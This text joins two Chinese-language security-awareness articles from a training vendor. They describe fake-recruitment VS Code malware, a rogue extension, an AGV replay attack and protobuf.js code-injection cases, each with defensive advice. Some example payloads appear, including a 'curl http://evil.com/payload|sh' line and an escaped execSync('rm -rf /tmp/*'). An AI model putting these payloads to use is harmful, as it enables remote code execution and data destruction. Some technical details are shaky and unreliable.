头脑风暴：
想象一下，你的邮箱里突然出现一封“梦寐以求”的招聘邮件，主题写着“全栈工程师高薪招聘”，正文中附带了一个看似正规的 GitHub 项目链接；又或者，你在公司内部的代码审查平台收到一条“同行评审请求”，背后暗藏恶意脚本；再进一步，随着企业逐步迈向具身智能、自动化、无人化的生产线，机器人、无人机、AI 边缘节点成为新型攻击入口。以上情景并非科幻，而是正在上演的真实安全事件。下面，我们将通过三大典型案例，深入剖析攻击手法、危害后果以及防御要点，帮助每一位职工在信息化浪潮中站稳脚跟。

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案例一：北朝鲜“Norks”伪装招聘邮件（UN​K_DeadDrop）

事件概述

2026 年 4–5 月期间，全球安全厂商 Proofpoint 监测到一波针对开发者的钓鱼活动，被命名为 UNK_DeadDrop。攻击者伪装成多家企业（如 Ondo Finance、Empower Pharmacy 等），向近 100 家美国公司共 250 多名技术人员发送“全栈工程师”“AI 支付研发”等高薪职位邀请。邮件中附带的 GitHub 仓库看似代码评审或加密货币项目，要求受害者 克隆仓库并在 VS Code 或 Cursor 中打开。

攻击链

1. 社会工程：利用求职焦虑和技术好奇心，诱导受害者下载恶意仓库。
2. 恶意 VSIX 扩展：打开仓库后，预设的 VS Code 任务自动执行，安装伪装成 Google 服务的 VSIX 扩展。
3. 跨平台后门：
   • macOS / Linux：加载基于 Overlord C2 框架的 Go 程序，窃取浏览器、密码钥匙串、加密钱包文件，压缩后上传至 C2。
   • Windows：在 Electron 进程中运行 JavaScript，利用 COM Elevation Moniker 提升权限，窃取 35 种钱包插件数据、18 种独立钱包文件以及浏览器凭证。
4. 持久化与提权：在 macOS、Linux 环境中，恶意程序利用窃取的系统密码重新以 root 身份启动；Windows 则依赖于已提升的 Electron 进程维持运行。

危害评估

• 财产损失：加密钱包私钥泄漏直接导致数十美元至数千美元不等的资产被转走。
• 企业机密泄露：浏览器保存的 SSO、VPN、GitHub 令牌等被窃取，可能导致内部系统被进一步渗透。
• 供应链风险：受感染的代码可能被推送到公司内部或公开仓库，形成供应链攻击的前置环节。

防御要点

• 严格审查 未知来源的 Git 仓库，尤其是涉及克隆并在本地编辑的指令。
• 禁止在 IDE/编辑器 中自动执行未经批准的任务（如 VS Code 的 tasks.json）。
• 开启 IDE 安全插件白名单，仅允许官方渠道的扩展安装。
• 对开发者进行 钓鱼邮件识别培训，强调审查发件人域名、邮件语言、链接跳转安全性。

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案例二：供应链攻击——恶意 VS Code 扩展渗透企业内部代码库

事件概述

2025 年底，某大型金融机构的 CI/CD 流水线被植入了一个 伪装成“GitLens” 的 VS Code 扩展。该扩展通过 Visual Studio Marketplace 的搜索排名提升，吸引了大量开发者下载。实际内部代码执行后，会在每次打开项目时向攻击者服务器发送 环境变量、SSH 私钥、Docker 配置 等敏感信息。

攻击链

1. 恶意扩展上架：攻击者利用 盗版或泄露的开发者账户，在 Marketplace 上发布恶意插件。
2. 社会工程：通过社交媒体、技术博客推荐该插件，提高下载量，获得 Marketplace 推荐权重。
3. 后门激活：插件在 activate 方法中植入 远程代码执行（RCE），通过 child_process.exec 执行恶意脚本，读取本地文件系统并上传。
4. 横向渗透：获取的 SSH 私钥被用于登录公司内部 Git 服务器，进一步克隆私有仓库、篡改代码或植入后门。

危害评估

• 源代码泄露：金融系统核心业务逻辑、算法和数据模型被外泄，导致竞争劣势。
• 持续性渗透：攻击者利用获取的凭据在内部网络长期潜伏，难以被常规防病毒或 IDS 检测。
• 合规风险：泄露的用户信息触发 GDPR、PCI-DSS 等监管处罚。

防御要点

• 限制插件来源：企业内部使用的 VS Code 必须通过 自建插件仓库，仅允许白名单插件安装。
• 最小化凭证暴露：对本地机器的 SSH 私钥、Docker 配置使用 硬件安全模块（HSM）或密钥托管服务，避免明文存储。
• CI/CD 安全审计：在流水线每一步加入 静态代码分析、依赖链审计，检测异常依赖或可执行文件。
• 安全意识培训：定期组织插件安全使用工作坊，提醒开发者审慎评估第三方工具。

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案例三：具身智能化工厂的“机器人钥匙”。

事件概述

2024 年底，一家位于南方的智能制造企业引入了 AGV（自动导引车）+ 机器人臂 的无人化生产线。每台 AGV 使用 Wi‑Fi + MQTT 与云端调度平台通信，同时本地存储了 设备证书、API Token 用于身份鉴权。攻击者通过一次 未加密的 Wi‑Fi 钓鱼热点，捕获了 AGV 与调度中心之间的通信数据，并利用 Replay Attack 重放了合法的指令，导致一批原材料被错误搬运至安全禁区，造成数十万元的生产损失。

攻击链

1. 物理层钓鱼：在工厂内部部署伪装成正规 Wi‑Fi 的热点，引导 AGV 连接。
2. 流量捕获：使用 Wireshark 捕获 MQTT 报文，获取设备证书的 公钥 与 签名。
3. 指令重放：攻击者复制合法的 “搬运指令” 报文，利用时间戳弱校验的缺陷进行 重放，导致设备执行攻击者自定义的动作。
4. 横向扩散：通过同一无线网络，进一步渗透到其他 IoT 设备（如温湿度传感器、门禁系统），实现更大范围的业务中断。

危害评估

• 生产线停滞：误操作导致关键原料错位，需人工干预恢复，影响交付。
• 安全事故：机器人误入禁区，存在人身伤害或设备损毁的潜在风险。
• 数据篡改：攻击者可借此机会植入后门，将设备日志篡改为正常状态，逃避监控。

防御要点

• 强制加密通信：所有 IoT 设备均应使用 TLS 1.3 或 DTLS 进行双向认证。
• 时间戳与唯一标识：在指令报文中加入 nonce 与 时间窗口 校验，防止重放攻击。
• 网络分段：将无人化生产线的业务网络与访客网络、办公网络严格隔离，采用 Zero‑Trust 策略。
• 安全培训：针对现场运维人员、机器人操作员开展 IoT 安全意识 课程，强调物理接入点的风险。

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由案例到行动——在具身智能、自动化、无人化融合的新时代，职工如何提升信息安全防护能力？

“防微杜渐，未雨绸缪。”——《左传》
正如古人教导，防范之道在于细节。如今，企业正从传统 IT 向 具身智能（Embodied AI）、自动化 (Automation)、无人化 (Unmanned) 迁移，这些新技术让生产效率突飞猛进，但也打开了 “硬件‑软件‑人‑环” 四维攻击面的大门。以下几点，是我们在日常工作中可以落地的安全升级措施。

1. 建立全员持续学习的安全文化

• 定期安全意识培训：以案例驱动为核心，每季度组织一次线上/线下研讨，复盘真实攻击路径，强化邮件、链接、插件等日常接触点的识别能力。
• 微课与互动问答：通过企业内部学习平台，制作 5‑10 分钟的微视频，配合 情景模拟（如钓鱼邮件对抗）提升即时记忆。
• 安全大使计划：挑选技术骨干成为安全小组成员，负责所在部门的安全讲座与疑难解答，形成 “安全自助” 生态。

2. 将安全嵌入研发与运营的每个环节（SecDevOps）

• 代码审查安全检查点：在 Git PR（Pull Request）流程中自动跑 SAST（静态应用安全测试）以及 依赖漏洞扫描，阻止恶意代码进入主分支。
• IDE 与编辑器安全加固：统一配置 VS Code、IntelliJ、Cursor 等开发工具的安全策略，禁用自动执行 tasks.json，仅允许白名单插件。
• 容器与镜像签名：使用 Cosign、Notary 对 Docker 镜像进行签名，确保生产环境仅拉取可信镜像。

3. 强化外围设备与工业互联网的防护

• 零信任网络访问（Zero‑Trust Network Access, ZTNA）：对 AGV、机器人、传感器等设备采用 身份即属性（Identity‑Based Access） 控制，仅允许经授权的指令通过。
• 硬件根信任（Hardware Root of Trust）：在关键设备中植入 TPM、Secure Enclave，实现 安全启动 与 密钥存储，防止固件层面的篡改。
• 实时行为监测：部署 异常行为检测（UEBA） 平台，捕获异常的 MQTT、Modbus、OPC-UA 流量，快速触发告警。

4. 数据保护与泄露预防

• 数据最小化原则：对开发者机器、CI/CD 服务器、云端存储进行 权限细分，仅向业务需要方提供最小化的访问权。
• 加密存储与传输：敏感信息（如 API Token、加密钱包私钥）必须使用 AES‑256 GCM 本地加密，并通过 TLS 1.3 进行传输。
• 密钥生命周期管理：引入 KMIP 或云原生 KMS，实现密钥的自动轮转、审计与撤销。

5. 演练与应急响应

• 红蓝对抗演练：每半年组织一次内部渗透测试，由红队模拟 假招聘邮件、恶意插件、IoT 重放攻击，蓝队负责侦测、阻断与事后复盘。
• 应急响应手册：制定 “发现‑分析‑遏制‑恢复‑复盘” 五步流程，明确责任人、联络方式与技术手段（如网络隔离、日志导出、法务通报）。
• 灾备演练：针对无人化工厂的 机器人误操作 场景，进行模拟恢复演练，验证 备份‑回滚‑人工干预 的完整性。

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号召：一起加入信息安全意识提升行列

正如《孙子兵法》所言：“兵者，诡道也。” 防御亦是“以奇制胜”。在这个 AI‑Edge‑IoT 融合的时代，每一位职工都是企业安全的第一道防线。如果把安全比作一把钥匙，那么 知识就是钥匙的齿, 技能是开锁的力度, 而意识则是钥匙的方向。

• 立即报名：公司将在本月开启 “信息安全全员提升计划”，包括线上模块、实战演练与线下研讨三大板块。
• 积极参与：在培训中，你将学习到如何辨别假招聘邮件、如何安全使用 IDE 插件、以及在自动化生产线中如何防止 IoT 重放攻击。
• 传递知识：完成培训后，请将所学分享至部门群，帮助同事一起筑起安全墙。

让我们以“不忘初心，方得始终”的精神，携手构建 “安全、可信、智能” 的工作环境。只有当每个人都把信息安全当成 职责 与 习惯，企业才能在激烈的技术竞争中稳步前行、长久繁荣。

谨记：安全不是一次性的项目，而是持续的生活方式。今天的一个小细节，可能决定明天的全局安全。让我们从 “假招聘” 的警醒出发，迈向 “智能化、无人化” 的安全新篇章！

昆明亭长朗然科技有限公司提供多层次的防范措施，包括网络安全、数据保护和身份验证等领域。通过专业化的产品和服务，帮助企业打造无缝的信息安全体系。感兴趣的客户欢迎联系我们进行合作讨论。

• 电话：0871-67122372
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• QQ: 1767022898

头脑风暴——如果你在公司内部的 CI/CD 流水线里，悄悄混入了一段看不见的“代码”，它可以在编译阶段直接生成恶意函数、甚至在生产环境里自行植入后门，你会怎么做？如果这段“代码”并非来自外部攻击者，而是内部某个开源依赖的隐藏缺陷，那么问题就更棘手了。基于近日公开的 protobuf.js 系列漏洞（CVE‑2026‑44289~CVE‑2026‑44295），我们挑选了两起典型且极具教育意义的安全事件案例，借以展开深度剖析，帮助全体职工在信息化、无人化、数据化深度融合的今天，树立全链路安全思维。

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案例一：供应链攻击——“伪协议”变成 RCE 里程碑

背景

某国内大型金融机构在其微服务架构中大量使用 gRPC 与 Google Cloud Pub/Sub，底层数据序列化全部采用 Protocol Buffers（以下简称 Protobuf）。在其 CI 流水线中，开发者通过 protobuf.js（版本 7.5.5）自动生成序列化/反序列化代码，以提升开发效率。该机构的代码审计团队对依赖库的安全性认识不够，认为 protobuf.js 只负责“数据压缩”，并未将其列入安全审计范围。

攻击链

1. 前期渗透：黑客在公开的 GitHub 仓库中提交了一个恶意的 protobuf schema 文件，文件名为 evil.proto，内容中加入了特殊的字段名 __proto__，并在字段注释里写入 function(){require('child_process').exec('curl http://evil.com/payload|sh')}。

2. 供应链注入：因该机构的 CI 自动拉取所有 *.proto 文件并使用 pbjs 生成对应的 JavaScript 编码器，黑客通过内部漏洞（如不严格的审计规则）让该恶意 schema 通过了代码审查，进入了主分支。

3. 代码生成阶段：protobuf.js 的代码生成器会将 schema 中的每个字段名直接拼接进 Function 构造函数中，形成类似 new Function("return function encode_(msg){...}") 的代码。由于没有对字段名进行白名单校验，恶意注入的 __proto__ 字段名被当作合法标识符嵌入生成函数体，随即在 Node.js 运行时被 执行。

4. 执行与植入：当微服务启动时，自动生成的编码器被加载，恶意代码随即执行，下载并运行了攻击者托管的恶意脚本，实现了 远程代码执行（RCE），并进一步窃取了内部数据库凭证。

5. 后期扩散：攻击者利用窃取的凭证向公司内部的 Kubernetes 集群注入后门容器，形成持久化。由于公司未对容器镜像进行签名校验，恶意容器在数天内悄然扩散，导致数百台关键业务服务器被入侵。

影响评估

• 业务中断：核心支付服务宕机 4 小时，直接损失约 1500 万人民币。
• 数据泄露：约 2.3 万笔客户交易记录被外部服务器同步。
• 合规风险：违反《网络安全法》及《个人信息保护法》关于数据安全的规定，面临监管处罚。

防御要点

步骤	关键措施
依赖管理	使用 SBOM（Software Bill of Materials） 明确记录所有第三方组件；对 protobuf.js 等序列化库进行 CVE 监控。
代码审计	对 proto 文件实施 静态检测（例如通过 protostuff 或自研 lint 工具），禁止出现 __proto__、prototype 等关键字。
编译安全	替换 new Function 动态代码生成方式，改为 预编译模板；或在 Node.js 启动时禁用 --allow-natives-syntax。
CI/CD 保险箱	引入 签名验证（Cosign、Sigstore）确保所使用的依赖包未被篡改；在流水线中加入 SCA（软件组成分析） 步骤。
运行时防护	启用 Node.js 的 --experimental-modules 并配合 containerization，限制容器的网络与文件系统权限（Least Privilege）。

经验教训

• “数据即代码” 的概念在现代微服务环境尤为真实，任何可以被解析为执行内容的元数据，都必须视为潜在的攻击载体。
• 供应链安全 不是硬件或网络层面的独立问题，而是一条 全链路，从库的下载、构建、部署到运行，每一步都可能被植入“隐形炸弹”。
• 主动披露 与 快速响应 能显著降低损失。该机构在发现异常后 6 小时内启动应急响应，避免了更大规模的横向渗透。

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案例二：AI 训练平台的“协议污点”——数据湖中潜伏的代码片段

背景

一家 AI 初创公司搭建了内部 数据湖，用于存储从合作伙伴、公开数据集到自有业务系统的上百 TB 结构化数据。为了统一数据格式，他们在数据入口层统一使用 protobuf.js 进行 schema‑driven 的序列化与反序列化。公司内部的自动化 模型训练 pipeline 每天会抓取最新的 protobuf 消息进行特征提取，并在 Jupyter Notebook 中以 Python 调用 Node.js 子进程来解析数据。

攻击链

1. 上传恶意文件：攻击者通过公开的 API 接口（未进行身份验证）向数据湖上传了一个精心构造的 protobuf 消息文件。该文件的 metadata 中嵌入了 proto 一级字段 payload，其值为 "\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e(){require('child_process').execSync('rm -rf /tmp/*')}"。

2. 特征提取阶段：训练 pipeline 的 Node.js 解析器在读取该文件时，依据 CVE‑2026‑44291（代码生成缺陷）对 schema 进行动态函数拼装。由于 payload 字段被误认为是合法的 message type，其内容被直接写入 new Function 中。

3. 代码执行：当 Node.js 子进程执行 pbjs 编译该 schema 时，恶意函数被嵌入生成的 JavaScript 文件，并在随后的 require 过程中被执行，导致 临时文件目录被清空，进而中断了整个模型训练任务。

4. 连锁反应：模型训练失败触发了 自动重试 机制，导致同一恶意文件被多次解析，累计删除了数十 GB 的重要中间产出文件。更严重的是，攻击者在同一文件中植入了 后门脚本，使得后续任何使用该 schema 的服务都可能被植入持久化恶意代码。

影响评估

• 研发停摆：关键的图像识别模型训练被迫中止，导致产品迭代延迟 2 周，直接影响了 1 亿元的融资进度。
• 数据完整性：重要的 实验日志 与 特征库 被删除，无法恢复，需重新采集与清洗，成本约 300 万人民币。
• 安全声誉：合作伙伴对数据湖的安全性产生疑虑，部分数据共享协议被迫终止。

防御要点

步骤	关键措施
接口防护	对所有上传入口启用 身份验证（OAuth2.0）与 文件签名校验；对上传的 protobuf 消息进行 结构化白名单 检查。
运行时沙箱	在解析 protobuf 时使用 Node.js VM 沙箱或 Docker 限制系统调用，避免 new Function 直接执行。
元数据过滤	针对 metadata、options 字段实施 正则过滤，禁止出现 function、eval、prototype 等关键字。
监控告警	对 文件系统操作（如 rm -rf）进行 实时审计，一旦异常立即触发 自动回滚 与 告警。
供应链硬化	在项目中使用 protobuf.js 8.0.2 及以上版本，移除 Function 动态生成路径；如业务允许，可改用 Google 官方的 protobuf C++/Java 实现。

经验教训

• 数据湖不等于安全湖：在大数据与 AI 交叉的场景里，数据本身往往携带 执行逻辑，必须对 结构化元数据 实施严格的 安全剖析。
• AI 训练链路 常常跨语言、跨平台，单点安全失效会导致 全链路失效，因而需要 跨语言的统一安全策略（如统一使用 Open Policy Agent 进行策略下发）。
• 对 异常行为（如频繁的临时文件删除）建立 行为基线，配合 机器学习异常检测，能够在攻击早期预警。

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迈向全链路防御的三个维度

在上述两个案例中，攻击者利用了 “数据即代码” 的核心漏洞：在可信环境中引入不可信的元数据。这正是当下信息化、无人化、数据化融合发展的隐蔽风险。要把这种风险消灭在萌芽阶段，必须从 技术、流程、文化 三个维度同步推进。

1. 技术维度——硬化每一层的“边界”

• 依赖可视化：利用 SBOM（软件材料清单）与 SCA（软件组成分析）工具，实时追踪 protobuf.js、grpc-node 等关键组件的版本与漏洞状态。
• 安全的代码生成：抛弃 new Function、eval 等不安全的运行时代码生成方式，改为 预编译模板 或 AST（抽象语法树） 转译。
• 最小化特权：在容器化部署时，使用 PodSecurityPolicy、AppArmor、Seccomp 限制进程对系统资源的访问，防止即使 RCE 成功也无法取得关键权限。
• 运行时防护：部署 WAF、入侵防御系统（IPS） 与 主机行为监控（HIDS），对异常的系统调用、文件操作进行实时阻断。

2. 流程维度——把安全嵌入开发生命周期（DevSecOps）

• 静态检查：在代码提交阶段加入 proto‑lint、schema‑validation，对所有 .proto 文件进行 命名规则、字段类型 检查。
• 动态测试：通过 Fuzzing 对 protobuf 解析器进行 模糊测试，覆盖可能的异常输入路径。
• 持续监测：在 CI/CD 流水线中加入 安全审计 步骤，针对每一次 依赖升级 都进行 漏洞扫描 与 回归测试。
• 快速响应：制定 漏洞响应流程（CVE 发现 → 版本评估 → 补丁发布 → 回滚方案），并在内部推行 红蓝对抗 实战演练。

3. 文化维度——让安全成为每个人的自觉行为

“防患于未然，未雨绸缪。”
——《后汉书·刘表传》

企业的安全防护不是安全部门的专属职责，而是 全体员工的共同使命。我们需要：

• 安全意识渗透：通过案例教学（如本文所述的两起真实或模拟攻击），让每位技术人员都能直观感受到“看不见的进攻点”。
• 安全奖励机制：对在代码审查、漏洞报告、风险排查中表现突出的员工，设立 安全之星 表彰，形成正向激励。
• 跨部门协作：安全团队与研发、运维、产品、合规部门保持 信息共享 与 联动响应，形成 闭环 的安全治理体系。

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呼吁全员参与：即将开启的《信息安全意识提升培训计划》

为进一步提升全员的安全素养，亭长朗然科技（以下简称公司）将在 2026 年 7 月 15 日正式启动 信息安全意识提升培训，为期 两周，包括以下核心模块：

模块	目标	形式
基础篇：信息安全概念与日常防护	让非技术同事了解密码管理、钓鱼防范、数据分类等基本要点	在线微课 + 案例互动
进阶篇：开发者安全实践	深入讲解依赖管理、供应链安全、代码审计、动态分析	现场实战工作坊（含 protobuf 漏洞复现）
管理篇：合规与风险评估	让业务、合规、法务了解《网络安全法》《个人信息保护法》对应要求	讲座 + 场景演练
应急篇：安全事件响应流程	构建统一的事件上报、快速处置、复盘闭环体系	案例研讨（包括本篇中提到的两起攻击）

培训亮点

• 案例驱动：每个模块均围绕 真实攻击链（如 protobuf.js 漏洞链）展开，帮助学员在“情境化”中掌握防护技巧。
• 实战演练：提供 可控的靶场环境，让开发者亲手触发并修复漏洞，体会从 发现 → 分析 → 修复 → 验证 的完整流程。
• 全员覆盖：不论是 研发、运维、数据科学、产品还是行政，均有对应的学习路径，确保每位员工都有所收获。
• 后续跟踪：培训结束后，通过 安全问卷 与 行为监测 评估学习效果，针对薄弱环节提供 再培训 与 辅导。

参与方式

1. 登录公司内部 Learning Management System（LMS），在 “培训报名” 页面选择对应模块，填写报名信息。
2. 完成报名后，系统将自动推送 学习链接 与 预习材料，请于 7 月 10 日 前完成预习，以便在课堂上进行互动讨论。
3. 培训期间，请务必 准时参加，并在 培训结束后 提交 学习心得，公司将对优秀心得进行 内部分享 与 奖励。

“知而不行，犹如坐井观天；行而不思，乃是盲人摸象。”
——《左传·僖公二十三年》

让我们携手把 “隐形炸弹” 从代码库、数据流、供应链中彻底清除，用 安全意识 炼成坚不可摧的铁壁，用 技术防线 铸就企业的护城河。信息安全不止是技术，更是每一位同事的自觉行为，只有全员参与，才能让我们的业务在数字化浪潮中稳步前行、扬帆远航。

让安全成为习惯，让防护成为文化。
从今天起，给自己、给团队、给公司，点燃一盏安全之灯！

信息安全意识提升培训计划，期待与你共创安全未来。

随着数字化时代的到来，信息安全日益成为各行业关注的焦点。昆明亭长朗然科技有限公司通过定制培训和最新技术手段，帮助客户提升对网络威胁的应对能力。我们欢迎所有对信息安全感兴趣的企业联系我们。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898